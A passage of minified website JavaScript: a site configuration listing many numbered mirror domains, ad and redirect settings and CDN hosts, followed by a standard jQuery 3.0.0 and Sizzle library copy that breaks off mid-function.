"96VD1028.xyz", "96VD1027.xyz", "96VD1026.xyz", "96VD1025.xyz", "96VD1024.xyz", "96VD1023.xyz", "96VD1022.xyz", "96VD1021.xyz", "96VD1020.xyz", "96VD1019.xyz", "96VD1018.xyz", "96VD1017.xyz", "96VD1016.xyz", "96VD1015.xyz", "96VD1012.xyz", "96VD1009.xyz", "96VD982.xyz", "96VD981.xyz", "96VD980.xyz", "96VD979.xyz", "96VD978.xyz", "96VD977.xyz", "96VD976.xyz", "96VD975.xyz", "96VD974.xyz", "96VD973.xyz", "96VD972.xyz", "96VD971.xyz", "96VD970.xyz", "96VD969.xyz", "96VD968.xyz", "96VD967.xyz", "96VD966.xyz", "96VD965.xyz", "96VD964.xyz", "96VD963.xyz", "96VD962.xyz", "96VD961.xyz", "96VD960.xyz", "96VD959.xyz", "96VD958.xyz", "96VD957.xyz", "96VD956.xyz", "96VD955.xyz", "96VD954.xyz", "96VD952.xyz", "96VD951.xyz", "96VD950.xyz", "96VD949.xyz", "96VD948.xyz", "96VD947.xyz", "96VD946.xyz", "96VD945.xyz", "96VD942.xyz", "96VD938.xyz", "96VD937.xyz", "96VD924.xyz", "96VD922.xyz", "96VD920.xyz", "96VD919.xyz", "96VD918.xyz", "96VD917.xyz", "96VD916.xyz", "96VD915.xyz", "96VD914.xyz", "96VD913.xyz", "96VD912.xyz", "96VD911.xyz", "96VD910.xyz", "96VD909.xyz", "96VD908.xyz", "96VD907.xyz", "96VD906.xyz", "96VD905.xyz", "96VD904.xyz", "96VD903.xyz", "96VD902.xyz", "96VD901.xyz", "96VD900.xyz", "96VD898.xyz", "96VD895.xyz", "96VD892.xyz", "96VD888.xyz", "96VD887.xyz", "96VD884.xyz", "96VD882.xyz", "96VD881.xyz", "96VD873.xyz", "96VD865.xyz", "96VD854.xyz", "96VD815.xyz", "96VD649.xyz", "96VD646.xyz", "96VD645.xyz", "96VD643.xyz", "96VD640.xyz", "96VD638.xyz", "96VD636.xyz", "96VD630.xyz", "96VD614.xyz", "96VD608.xyz", "96VD602.xyz", "96VD600.xyz", "96VD598.xyz", "96VD592.xyz", "96VD588.xyz", "96VD587.xyz", "96VD586.xyz", "96VD585.xyz", "96VD583.xyz", "96VD582.xyz", "96VD567.xyz", "96VD565.xyz", "96VD562.xyz", "96VD561.xyz", "96VD558.xyz", "96VD557.xyz", "96VD554.xyz", "96VD546.xyz", "96VD544.xyz", "96VD543.xyz", "96VD538.xyz", "96VD537.xyz", "96VD532.xyz", "96VD531.xyz", "96VD529.xyz", "96VD527.xyz", "96VD521.xyz", "96VD519.xyz", "96VD517.xyz", "96VD516.xyz", "96VD510.xyz", "96VD509.xyz", "96VD507.xyz", "96VD495.xyz", "96VD491.xyz", "96VD482.xyz", "96VD481.xyz", "96VD479.xyz", "96VD477.xyz", "96VD473.xyz", "96VD472.xyz", "96VD468.xyz", "96VD467.xyz", "96VD464.xyz", "96VD462.xyz", "96VD457.xyz", "96VD454.xyz", "96VD453.xyz", "96VD452.xyz", "96VD451.xyz", "96VD448.xyz", "96VD447.xyz", "96VD446.xyz", "96VD444.xyz", "96VD443.xyz", "96VD442.xyz", "96VD441.xyz", "96VD440.xyz", "96VD439.xyz", "96VD438.xyz", "96VD437.xyz", "96VD436.xyz", "96VD433.xyz", "96VD432.xyz", "96VD430.xyz", "96VD427.xyz", "96VD426.xyz", "96VD424.xyz", "96VD423.xyz", "96VD422.xyz", "96VD420.xyz", "96VD417.xyz", "96VD415.xyz", "96VD414.xyz", "96VD413.xyz", "96VD410.xyz", "96VD408.xyz", "96VD406.xyz", "96VD404.xyz", "96VD401.xyz", "96VD400.xyz", "96VD399.xyz", "96VD398.xyz", "96VD397.xyz", "96VD396.xyz", "96VD382.xyz", "96VD381.xyz", "96VD380.xyz", "96VD379.xyz", "96VD378.xyz", "96VD375.xyz", "96VD374.xyz", "96VD372.xyz", "96VD371.xyz", "96VD370.xyz", "96VD368.xyz", "96VD367.xyz", "96VD364.xyz", "96VD363.xyz", "96VD361.xyz", "96VD360.xyz", "96VD358.xyz", "96VD357.xyz", "96VD355.xyz", "96VD354.xyz", "96VD353.xyz", "96VD350.xyz", "96VD345.xyz", "96VD342.xyz", "96VD339.xyz", "96VD328.xyz", "96VD324.xyz", "96VD320.xyz", "96VD319.xyz", "96VD315.xyz", "96VD314.xyz", "96VD309.xyz", "96VD306.xyz", "96VD305.xyz", "96VD304.xyz", "96VD303.xyz", "96VD300.xyz", "96VD294.xyz", "96VD293.xyz", "96VD292.xyz", "96VD289.xyz", "96VD288.xyz", "96VD286.xyz", "96VD285.xyz", "96VD284.xyz", "96VD281.xyz", "96VD263.xyz", "96VD258.xyz", "96VD252.xyz", "96VD248.xyz", "96VD246.xyz", "96VD243.xyz", "96VD235.xyz", "96VD232.xyz", "96VD231.xyz", "96VD230.xyz", "96VD229.xyz", "96VD227.xyz", "96VD226.xyz", "96VD225.xyz", "96VD222.xyz", "96VD221.xyz", "96VD219.xyz", "96VD218.xyz", "96VD217.xyz", "96VD215.xyz", "96VD214.xyz", "96VD213.xyz", "96VD212.xyz", "96VD211.xyz", "96VD210.xyz", "96VD209.xyz", "96VD208.xyz", "96VD207.xyz", "96VD206.xyz", "96VD205.xyz", "96VD204.xyz", "96VD203.xyz", "96VD202.xyz", "96VD200.xyz", "96VD199.xyz", "96VD198.xyz", "96VD197.xyz", "96VD196.xyz", "96VD195.xyz", "96VD194.xyz", "96VD193.xyz", "96VD192.xyz", "96VD191.xyz", "96VD190.xyz", "96VD189.xyz", "96VD188.xyz", "96VD186.xyz", "96VD185.xyz", "96VD184.xyz", "96VD183.xyz", "96VD182.xyz", "96VD181.xyz", "96VD180.xyz", "96VD179.xyz", "96VD178.xyz", "96VD177.xyz", "96VD176.xyz", "96VD175.xyz", "96VD174.xyz", "96VD173.xyz", "96VD171.xyz", "96VD170.xyz", "96VD169.xyz", "96VD168.xyz", "96VD167.xyz", "96VD166.xyz", "96VD165.xyz", "96VD164.xyz", "96VD163.xyz", "96VD162.xyz", "96VD161.xyz", "96VD160.xyz", "96VD159.xyz", "96VD158.xyz", "96VD156.xyz", "96VD155.xyz", "96VD154.xyz", "96VD153.xyz", "96VD152.xyz", "96VD151.xyz", "96VD150.xyz", "96VD149.xyz", "96VD148.xyz", "96VD147.xyz", "96VD146.xyz", "96VD145.xyz", "96VD144.xyz", "96VD143.xyz", "96VD142.xyz", "96VD140.xyz", "96VD139.xyz", "96VD138.xyz", "96VD137.xyz", "96VD136.xyz", "96VD135.xyz", "96VD132.xyz", "96VD131.xyz", "96VD130.xyz", "96VD129.xyz", "96VD128.xyz", "96VD127.xyz", "96VD126.xyz", "96VD124.xyz", "96VD123.xyz", "96VD122.xyz", "96VD121.xyz", "96VD120.xyz", "96VD119.xyz", "96VD118.xyz", "96VD117.xyz", "96VD116.xyz", "96VD115.xyz", "96VD114.xyz", "96VD112.xyz", "96VD111.xyz", "96VD110.xyz", "96VD109.xyz", "96VD108.xyz", "96VD107.xyz", "96VD106.xyz", "96VD105.xyz", "96VD101.xyz", "96VD100.xyz", "96VD98.xyz", "96VD97.xyz", "96VD96.xyz", "96VD92.xyz", "96VD89.xyz", "96VD81.xyz", "96VD76.xyz"],
        recommended_text_videos: true,
        redirect_links: true,
        root_doamin: "",
        trending_videos_key: "trending:videos:2",
        use_self_ads: true,
        webstatic: {
            id: "a1"
        },
        webstatic_host: "96VD.tpcdn.xyz"
    },
    webhash: "_c81e1226563",
    webstatic_conf: {
        cncdn_domain: "aakk.heibaizzzz.com",
        domains: ["tpcdn.xyz"],
        gcdn: "ain168.cc"
    }
});
$g.wait_asyncjs_count = 0;
$g.wait_asyncjs = function(f) {
    if ($g.async_loaded) {
        f()
    } else {
        $g.wait_asyncjs_count++;
        setTimeout(()=>{
            if (!$g.async_loaded) {
                $g.wait_asyncjs(f)
            } else {
                if (f) {
                    f()
                }
            }
        }
        , 88 + $g.wait_asyncjs_count)
    }
}
;
!function(a, b) {
    "use strict";
    "object" == typeof module && "object" == typeof module.exports ? module.exports = a.document ? b(a, !0) : function(a) {
        if (!a.document)
            throw new Error("jQuery requires a window with a document");
        return b(a)
    }
    : b(a)
}("undefined" != typeof window ? window : this, function(a, b) {
    "use strict";
    var c = []
      , d = a.document
      , e = Object.getPrototypeOf
      , f = c.slice
      , g = c.concat
      , h = c.push
      , i = c.indexOf
      , j = {}
      , k = j.toString
      , l = j.hasOwnProperty
      , m = l.toString
      , n = m.call(Object)
      , o = {};
    function p(a, b) {
        b = b || d;
        var c = b.createElement("script");
        c.text = a,
        b.head.appendChild(c).parentNode.removeChild(c)
    }
    var q = "3.0.0"
      , r = function(a, b) {
        return new r.fn.init(a,b)
    }
      , s = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g
      , t = /^-ms-/
      , u = /-([a-z])/g
      , v = function(a, b) {
        return b.toUpperCase()
    };
    r.fn = r.prototype = {
        jquery: q,
        constructor: r,
        length: 0,
        toArray: function() {
            return f.call(this)
        },
        get: function(a) {
            return null != a ? 0 > a ? this[a + this.length] : this[a] : f.call(this)
        },
        pushStack: function(a) {
            var b = r.merge(this.constructor(), a);
            return b.prevObject = this,
            b
        },
        each: function(a) {
            return r.each(this, a)
        },
        map: function(a) {
            return this.pushStack(r.map(this, function(b, c) {
                return a.call(b, c, b)
            }))
        },
        slice: function() {
            return this.pushStack(f.apply(this, arguments))
        },
        first: function() {
            return this.eq(0)
        },
        last: function() {
            return this.eq(-1)
        },
        eq: function(a) {
            var b = this.length
              , c = +a + (0 > a ? b : 0);
            return this.pushStack(c >= 0 && b > c ? [this[c]] : [])
        },
        end: function() {
            return this.prevObject || this.constructor()
        },
        push: h,
        sort: c.sort,
        splice: c.splice
    },
    r.extend = r.fn.extend = function() {
        var a, b, c, d, e, f, g = arguments[0] || {}, h = 1, i = arguments.length, j = !1;
        for ("boolean" == typeof g && (j = g,
        g = arguments[h] || {},
        h++),
        "object" == typeof g || r.isFunction(g) || (g = {}),
        h === i && (g = this,
        h--); i > h; h++)
            if (null != (a = arguments[h]))
                for (b in a)
                    c = g[b],
                    d = a[b],
                    g !== d && (j && d && (r.isPlainObject(d) || (e = r.isArray(d))) ? (e ? (e = !1,
                    f = c && r.isArray(c) ? c : []) : f = c && r.isPlainObject(c) ? c : {},
                    g[b] = r.extend(j, f, d)) : void 0 !== d && (g[b] = d));
        return g
    }
    ,
    r.extend({
        expando: "jQuery" + (q + Math.random()).replace(/\D/g, ""),
        isReady: !0,
        error: function(a) {
            throw new Error(a)
        },
        noop: function() {},
        isFunction: function(a) {
            return "function" === r.type(a)
        },
        isArray: Array.isArray,
        isWindow: function(a) {
            return null != a && a === a.window
        },
        isNumeric: function(a) {
            var b = r.type(a);
            return ("number" === b || "string" === b) && !isNaN(a - parseFloat(a))
        },
        isPlainObject: function(a) {
            var b, c;
            return a && "[object Object]" === k.call(a) ? (b = e(a)) ? (c = l.call(b, "constructor") && b.constructor,
            "function" == typeof c && m.call(c) === n) : !0 : !1
        },
        isEmptyObject: function(a) {
            var b;
            for (b in a)
                return !1;
            return !0
        },
        type: function(a) {
            return null == a ? a + "" : "object" == typeof a || "function" == typeof a ? j[k.call(a)] || "object" : typeof a
        },
        globalEval: function(a) {
            p(a)
        },
        camelCase: function(a) {
            return a.replace(t, "ms-").replace(u, v)
        },
        nodeName: function(a, b) {
            return a.nodeName && a.nodeName.toLowerCase() === b.toLowerCase()
        },
        each: function(a, b) {
            var c, d = 0;
            if (w(a)) {
                for (c = a.length; c > d; d++)
                    if (b.call(a[d], d, a[d]) === !1)
                        break
            } else
                for (d in a)
                    if (b.call(a[d], d, a[d]) === !1)
                        break;
            return a
        },
        trim: function(a) {
            return null == a ? "" : (a + "").replace(s, "")
        },
        makeArray: function(a, b) {
            var c = b || [];
            return null != a && (w(Object(a)) ? r.merge(c, "string" == typeof a ? [a] : a) : h.call(c, a)),
            c
        },
        inArray: function(a, b, c) {
            return null == b ? -1 : i.call(b, a, c)
        },
        merge: function(a, b) {
            for (var c = +b.length, d = 0, e = a.length; c > d; d++)
                a[e++] = b[d];
            return a.length = e,
            a
        },
        grep: function(a, b, c) {
            for (var d, e = [], f = 0, g = a.length, h = !c; g > f; f++)
                d = !b(a[f], f),
                d !== h && e.push(a[f]);
            return e
        },
        map: function(a, b, c) {
            var d, e, f = 0, h = [];
            if (w(a))
                for (d = a.length; d > f; f++)
                    e = b(a[f], f, c),
                    null != e && h.push(e);
            else
                for (f in a)
                    e = b(a[f], f, c),
                    null != e && h.push(e);
            return g.apply([], h)
        },
        guid: 1,
        proxy: function(a, b) {
            var c, d, e;
            return "string" == typeof b && (c = a[b],
            b = a,
            a = c),
            r.isFunction(a) ? (d = f.call(arguments, 2),
            e = function() {
                return a.apply(b || this, d.concat(f.call(arguments)))
            }
            ,
            e.guid = a.guid = a.guid || r.guid++,
            e) : void 0
        },
        now: Date.now,
        support: o
    }),
    "function" == typeof Symbol && (r.fn[Symbol.iterator] = c[Symbol.iterator]),
    r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "), function(a, b) {
        j["[object " + b + "]"] = b.toLowerCase()
    });
    function w(a) {
        var b = !!a && "length"in a && a.length
          , c = r.type(a);
        return "function" === c || r.isWindow(a) ? !1 : "array" === c || 0 === b || "number" == typeof b && b > 0 && b - 1 in a
    }
    var x = function(a) {
        var b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u = "sizzle" + 1 * new Date, v = a.document, w = 0, x = 0, y = ha(), z = ha(), A = ha(), B = function(a, b) {
            return a === b && (l = !0),
            0
        }, C = {}.hasOwnProperty, D = [], E = D.pop, F = D.push, G = D.push, H = D.slice, I = function(a, b) {
            for (var c = 0, d = a.length; d > c; c++)
                if (a[c] === b)
                    return c;
            return -1
        }, J = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped", K = "[\\x20\\t\\r\\n\\f]", L = "(?:\\\\.|[\\w-]|[^\0-\\xa0])+", M = "\\[" + K + "*(" + L + ")(?:" + K + "*([*^$|!~]?=)" + K + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + L + "))|)" + K + "*\\]", N = ":(" + L + ")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|" + M + ")*)|.*)\\)|)", O = new RegExp(K + "+","g"), P = new RegExp("^" + K + "+|((?:^|[^\\\\])(?:\\\\.)*)" + K + "+$","g"), Q = new RegExp("^" + K + "*," + K + "*"), R = new RegExp("^" + K + "*([>+~]|" + K + ")" + K + "*"), S = new RegExp("=" + K + "*([^\\]'\"]*?)" + K + "*\\]","g"), T = new RegExp(N), U = new RegExp("^" + L + "$"), V = {
            ID: new RegExp("^#(" + L + ")"),
            CLASS: new RegExp("^\\.(" + L + ")"),
            TAG: new RegExp("^(" + L + "|[*])"),
            ATTR: new RegExp("^" + M),
            PSEUDO: new RegExp("^" + N),
            CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + K + "*(even|odd|(([+-]|)(\\d*)n|)" + K + "*(?:([+-]|)" + K + "*(\\d+)|))" + K + "*\\)|)","i"),
            bool: new RegExp("^(?:" + J + ")$","i"),
            needsContext: new RegExp("^" + K + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + K + "*((?:-\\d)?\\d*)" + K + "*\\)|)(?=[^-]|$)","i")
        }, W = /^(?:input|select|textarea|button)$/i, X = /^h\d$/i, Y = /^[^{]+\{\s*\[native \w/, Z = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, $ = /[+~]/, _ = new RegExp("\\\\([\\da-f]{1,6}" + K + "?|(" + K + ")|.)","ig"), aa = function(a, b, c) {
            var d = "0x" + b - 65536;
            return d !== d || c ? b : 0 > d ? String.fromCharCode(d + 65536) : String.fromCharCode(d >> 10 | 55296, 1023 & d | 56320)
        }, ba = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g, ca = function(a, b) {
            return b ? "\0" === a ? "�" : a.slice(0, -1) + "\\" + a.charCodeAt(a.length - 1).toString(16) + " " : "\\" + a
        }, da = function() {
            m()
        }, ea = ta(function(a) {
            return a.disabled === !0
        }, {
            dir: "parentNode",
            next: "legend"
        });
        try {
            G.apply(D = H.call(v.childNodes), v.childNodes),
            D[v.childNodes.length].nodeType
        } catch (fa) {
            G = {
                apply: D.length ? function(a, b) {
                    F.apply(a, H.call(b))
                }
                : function(a, b) {
                    var c = a.length
                      , d = 0;
                    while (a[c++] = b[d++])
                        ;
                    a.length = c - 1
                }
            }
        }
        function ga(a, b, d, e) {
            var f, h, j, k, l, o, r, s = b && b.ownerDocument, w = b ? b.nodeType : 9;
            if (d = d || [],
            "string" != typeof a || !a || 1 !== w && 9 !== w && 11 !== w)
                return d;
            if (!e && ((b ? b.ownerDocument || b : v) !== n && m(b),
            b = b || n,
            p)) {
                if (11 !== w && (l = Z.exec(a)))
                    if (f = l[1]) {
                        if (9 === w) {
                            if (!(j = b.getElementById(f)))
                                return d;
                            if (j.id === f)
                                return d.push(j),
                                d
                        } else if (s && (j = s.getElementById(f)) && t(b, j) && j.id === f)
                            return d.push(j),
                            d
                    } else {
                        if (l[2])
                            return G.apply(d, b.getElementsByTagName(a)),
                            d;
                        if ((f = l[3]) && c.getElementsByClassName && b.getElementsByClassName)
                            return G.apply(d, b.getElementsByClassName(f)),
                            d
                    }
                if (c.qsa && !A[a + " "] && (!q || !q.test(a))) {
                    if (1 !== w)
                        s = b,
                        r = a;
                    else if ("object" !== b.nodeName.toLowerCase()) {
                        (k = b.getAttribute("id")) ? k = k.replace(ba, ca) : b.setAttribute("id", k = u),
                        o = g(a),
                        h = o.length;
                        while (h--)
                            o[h] = "#" + k + " " + sa(o[h]);
                        r = o.join(","),
                        s = $.test(a) && qa(b.parentNode) || b
                    }
                    if (r)
                        try {
                            return G.apply(d, s.querySelectorAll(r)),
                            d
                        } catch (x) {} finally {
                            k === u && b.removeAttribute("id")
                        }
                }
            }
            return i(a.replace(P, "$1"), b, d, e)
        }
        function ha() {
            var a = [];
            function b(c, e) {
                return a.push(c + " ") > d.cacheLength && delete b[a.shift()],
                b[c + " "] = e
            }
            return b
        }
        function ia(a) {
            return a[u] = !0,
            a
        }
        function ja(a) {
            var b = n.createElement("fieldset");
            try {
                return !!a(b)
            } catch (c) {
                return !1
            } finally {
                b.parentNode && b.parentNode.removeChild(b),
                b = null
            }
        }
        function ka(a, b) {
            var c = a.split("|")
              , e = c.length;
            while (e--)
                d.attrHandle[c[e]] = b
        }
        function la(a, b) {
            var c = b && a
              , d = c && 1 === a.nodeType && 1 === b.nodeType && a.sourceIndex - b.sourceIndex;
            if (d)
                return d;
            if (c)
                while (c = c.nextSibling)
                    if (c === b)
                        return -1;
            return a ? 1 : -1
        }
        function ma(a) {
            return function(b) {
                var c = b.nodeName.toLowerCase();
                return "input" === c && b.type === a
            }
        }
        function na(a) {
            return function(b) {
                var c = b.nodeName.toLowerCase();
                return ("input" === c || "button" === c) && b.type === a
            }
        }
        function oa(a) {
            return function(b) {
                return "label"in b && b.disabled === a || "form"in b && b.disabled === a || "form"in b && b.disabled === !1 && (b.isDisabled === a || b.isDisabled !== !a && ("label"in b || !ea(b)) !== a)
            }
        }
        function pa(a) {
            return ia(function(b) {
                return b = +b,
                ia(function(c, d) {
                    var e, f = a([], c.length, b), g = f.length;
                    while (g--)
                        c[e = f[g]] && (c[e] = !(d[e] = c[e]))
                })
            })
        }
        function qa(a) {
            return a && "undefined" != typeof a.getElementsByTagName && a
        }
        c = ga.support = {},
        f = ga.isXML = function(a) {
            var b = a && (a.ownerDocument || a).documentElement;
            return b ? "HTML" !== b.nodeName : !1
        }
        ,
        m = ga.setDocument = function(a) {
            var b, e, g = a ? a.ownerDocument || a : v;
            return g !== n && 9 === g.nodeType && g.documentElement ? (n = g,
            o = n.documentElement,
            p = !f(n),
            v !== n && (e = n.defaultView) && e.top !== e && (e.addEventListener ? e.addEventListener("unload", da, !1) : e.attachEvent && e.attachEvent("onunload", da)),
            c.attributes = ja(function(a) {
                return a.className = "i",
                !a.getAttribute("className")
            }),
            c.getElementsByTagName = ja(function(a) {
                return a.appendChild(n.createComment("")),
                !a.getElementsByTagName("*").length
            }),
            c.getElementsByClassName = Y.test(n.getElementsByClassName),
            c.getById = ja(function(a) {
                return o.appendChild(a).id = u,
                !n.getElementsByName || !n.getElementsByName(u).length
            }),
            c.getById ? (d.find.ID = function(a, b) {
                if ("undefined" != typeof b.getElementById && p) {
                    var c = b.getElementById(a);
                    return c ? [c] : []
                }
            }
            ,
            d.filter.ID = function(a) {
                var b = a.replace(_, aa);
                return function(a) {
                    return a.getAttribute("id") === b
                }
            }
            ) : (delete d.find.ID,
            d.filter.ID = function(a) {
                var b = a.replace(_, aa);
                return function(a) {
                    var c = "undefined" != typeof a.getAttributeNode && a.getAttributeNode("id");
                    return c && c.value === b
                }
            }
            ),
            d.find.TAG = c.getElementsByTagName ? function(a, b) {
                return "undefined" != typeof b.getElementsByTagName ? b.getElementsByTagName(a) : c.qsa ? b.querySelectorAll(a) : void 0
            }
            : function(a, b) {
                var c, d = [], e = 0, f = b.getElementsByTagName(a);
                if ("*" === a) {
                    while (c = f[e++])
                        1 === c.nodeType && d.push(c);
                    return d
                }
                return f
            }
            ,
            d.find.CLASS = c.getElementsByClassName && function(a, b) {
                return "undefined" != typeof b.getElementsByClassName && p ? b.getElementsByClassName(a) : void 0
            }
            ,
            r = [],
            q = [],
            (c.qsa = Y.test(n.querySelectorAll)) && (ja(function(a) {
                o.appendChild(a).innerHTML = "<a id='" + u + "'></a><select id='" + u + "-\r\\' msallowcapture=''><option selected=''></option></select>",
                a.querySelectorAll("[msallowcapture^='']").length && q.push("[*^$]=" + K + "*(?:''|\"\")"),
                a.querySelectorAll("[selected]").length || q.push("\\[" + K + "*(?:value|" + J + ")"),
                a.querySelectorAll("[id~=" + u + "-]").length || q.push("~="),
                a.querySelectorAll(":checked").length || q.push(":checked"),
                a.querySelectorAll("a#" + u + "+*").length || q.push(".#.+[+~]")
            }),
            ja(function(a) {
                a.innerHTML = "<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";
                var b = n.createElement("input");
                b.setAttribute("type", "hidden"),
                a.appendChild(b).setAttribute("name", "D"),
                a.querySelectorAll("[name=d]").length && q.push("name" + K + "*[*^$|!~]?="),
                2 !== a.querySelectorAll(":enabled").length && q.push(":enabled", ":disabled"),
                o.appendChild(a).disabled = !0,
                2 !== a.querySelectorAll(":disabled").length && q.push(":enabled", ":disabled"),
                a.querySelectorAll("*,:x"),
                q.push(",.*:")
            })),
            (c.matchesSelector = Y.test(s = o.matches || o.webkitMatchesSelector || o.mozMatchesSelector || o.oMatchesSelector || o.msMatchesSelector)) && ja(function(a) {
                c.disconnectedMatch = s.call(a, "*"),
                s.call(a, "[s!='']:x"),
                r.push("!=", N)
            }),
            q = q.length && new RegExp(q.join("|")),
            r = r.length && new RegExp(r.join("|")),
            b = Y.test(o.compareDocumentPosition),
            t = b || Y.test(o.contains) ? function(a, b) {
                var c = 9 === a.nodeType ? a.documentElement : a
                  , d = b && b.parentNode;
                return a === d || !(!d || 1 !== d.nodeType || !(c.contains ? c.contains(d) : a.compareDocumentPosition && 16 & a.compareDocumentPosition(d)))
            }
            : function(a, b) {
                if (b)
                    while (b = b.parentNode)
                        if (b === a)
                            return !0;
                return !1
            }
            ,
            B = b ? function(a, b) {
                if (a === b)
                    return l = !0,
                    0;
                var d = !a.compareDocumentPosition - !b.compareDocumentPosition;
                return d ? d : (d = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1,
                1 & d || !c.sortDetached && b.compareDocumentPosition(a) === d ? a === n || a.ownerDocument === v && t(v, a) ? -1 : b === n || b.ownerDocument === v && t(v, b) ? 1 : k ? I(k, a) - I(k, b) : 0 : 4 & d ? -1 : 1)
            }
            : function(a, b) {
                if (a === b)
                    return l = !0,
                    0;
                var c, d = 0, e = a.parentNode, f = b.parentNode, g = [a], h = [b];
                if (!e || !f)
                    return a === n ? -1 : b === n ? 1 : e ? -1 : f ? 1 : k ? I(k, a) - I(k, b) : 0;
                if (e === f)
                    return la(a, b);
                c = a;
                while (c = c.parentNode)
                    g.unshift(c);
                c = b;
                while (c = c.parentNode)
                    h.unshift(c);
                while (g[d] === h[d])
                    d++;
                return d ? la(g[d], h[d]) : g[d] === v ? -1 : h[d] === v ? 1 : 0
            }
            ,
            n) : n
        }
        ,
        ga.matches = function(a, b) {
            return ga(a, null, null, b)
        }
        ,
        ga.matchesSelector = function(a, b) {
            if ((a.ownerDocument || a) !== n && m(a),
            b = b.replace(S, "='$1']"),
            c.matchesSelector && p && !A[b + " "] && (!r || !r.test(b)) && (!q || !q.test(b)))
                try {
                    var d = s.call(a, b);
                    if (d || c.disconnectedMatch || a.document && 11 !== a.document.nodeType)
                        return d
                } catch (e) {}
            return ga(b, n, null, [a]).length > 0
        }
        ,
        ga.contains = function(a, b) {
            return (a.ownerDocument || a) !== n && m(a),
            t(a, b)
        }
        ,
        ga.attr = function(a, b) {
            (a.ownerDocument || a) !== n && m(a);
            var e = d.attrHandle[b.toLowerCase()]
              , f = e && C.call(d.attrHandle, b.toLowerCase()) ? e(a, b, !p) : void 0;
            return void 0 !== f ? f : c.attributes || !p ? a.getAttribute(b) : (f = a.getAttributeNode(b)) && f.specified ? f.value : null
        }
        ,
        ga.escape = function(a) {
            return (a + "").replace(ba, ca)
        }
        ,
        ga.error = function(a) {
            throw new Error("Syntax error, unrecognized expression: " + a)
        }
        ,
        ga.uniqueSort = function(a) {
            var b, d = [], e = 0, f = 0;
            if (l = !c.detectDuplicates,
            k = !c.sortStable && a.slice(0),
            a.sort(B),
            l) {
                while (b = a[f++])
                    b === a[f] && (e = d.push(f));
                while (e--)
                    a.splice(d[e], 1)
            }
            return k = null,
            a
        }
        ,
        e = ga.getText = function(a) {
            var b, c = "", d = 0, f = a.nodeType;
            if (f) {
                if (1 === f || 9 === f || 11 === f) {
                    if ("string" == typeof a.textContent)
                        return a.textContent;
                    for (a = a.firstChild; a; a = a.nextSibling)
                        c += e(a)
                } else if (3 === f || 4 === f)
                    return a.nodeValue
            } else
                while (b = a[d++])
                    c += e(b);
            return c
        }
        ,
        d = ga.selectors = {
            cacheLength: 50,
            createPseudo: ia,
            match: V,
            attrHandle: {},
            find: {},
            relative: {
                ">": {
                    dir: "parentNode",
                    first: !0
                },
                " ": {
                    dir: "parentNode"
                },
                "+": {
                    dir: "previousSibling",
                    first: !0
                },
                "~": {
                    dir: "previousSibling"
                }
            },
            preFilter: {
                ATTR: function(a) {
                    return a[1] = a[1].replace(_, aa),
                    a[3] = (a[3] || a[4] || a[5] || "").replace(_, aa),
                    "~=" === a[2] && (a[3] = " " + a[3] + " "),
                    a.slice(0, 4)
                },
                CHILD: function(a) {
                    return a[1] = a[1].toLowerCase(),
                    "nth" === a[1].slice(0, 3) ? (a[3] || ga.error(a[0]),
                    a[4] = +(a[4] ? a[5] + (a[6] || 1) : 2 * ("even" === a[3] || "odd" === a[3])),
                    a[5] = +(a[7] + a[8] || "odd" === a[3])) : a[3] && ga.error(a[0]),
                    a
                },
                PSEUDO: function(a) {
                    var b, c = !a[6] && a[2];
                    return V.CHILD.test(a[0]) ? null : (a[3] ? a[2] = a[4] || a[5] || "" : c && T.test(c) && (b = g(c, !0)) && (b = c.indexOf(")", c.length - b) - c.length) && (a[0] = a[0].slice(0, b),
                    a[2] = c.slice(0, b)),
                    a.slice(0, 3))
                }
            },
            filter: {
                TAG: function(a) {
                    var b = a.replace(_, aa).toLowerCase();
                    return "*" === a ? function() {
                        return !0
                    }
                    : function(a) {
                        return a.nodeName && a.nodeName.toLowerCase() === b
                    }
                },
                CLASS: function(a) {
                    var b = y[a + " "];
                    return b || (b = new RegExp("(^|" + K + ")" + a + "(" + K + "|$)")) && y(a, function(a) {
                        return b.test("string" == typeof a.className && a.className || "undefined" != typeof a.getAttribute && a.getAttribute("class") || "")
                    })
                },
                ATTR: function(a, b, c) {
                    return function(d) {
                        var e = ga.attr(d, a);
                        return null == e ? "!=" === b : b ? (e += "",
                        "=" === b ? e === c : "!=" === b ? e !== c : "^=" === b ? c && 0 === e.indexOf(c) : "*=" === b ? c && e.indexOf(c) > -1 : "$=" === b ? c && e.slice(-c.length) === c : "~=" === b ? (" " + e.replace(O, " ") + " ").indexOf(c) > -1 : "|=" === b ? e === c || e.slice(0, c.length + 1) === c + "-" : !1) : !0
                    }
                },
                CHILD: function(a, b, c, d, e) {
                    var f = "nth" !== a.slice(0, 3)
                      , g = "last" !== a.slice(-4)
                      , h = "of-type" === b;
                    return 1 === d && 0 === e ? function(a) {
                        return !!a.parentNode
                    }
                    : function(b, c, i) {
                        var j, k, l, m, n, o, p = f !== g ? "nextSibling" : "previousSibling", q = b.parentNode, r = h && b.nodeName.toLowerCase(), s = !i && !h, t = !1;
                        if (q) {
                            if (f) {
                                while (p) {
                                    m = b;
                                    while (m = m[p])
                                        if (h ? m.nodeName.toLowerCase() === r : 1 === m.nodeType)
                                            return !1;
                                    o = p = "only" === a && !o && "nextSibling"
                                }
                                return !0
                            }
                            if (o = [g ? q.firstChild : q.lastChild],
                            g && s) {
                                m = q,
                                l = m[u] || (m[u] = {}),
                                k = l[m.uniqueID] || (l[m.uniqueID] = {}),
                                j = k[a] || [],
                                n = j[0] === w && j[1],
                                t = n && j[2],
                                m = n && q.childNodes[n];
                                while (m = ++n && m && m[p] || (t = n = 0) || o.pop())
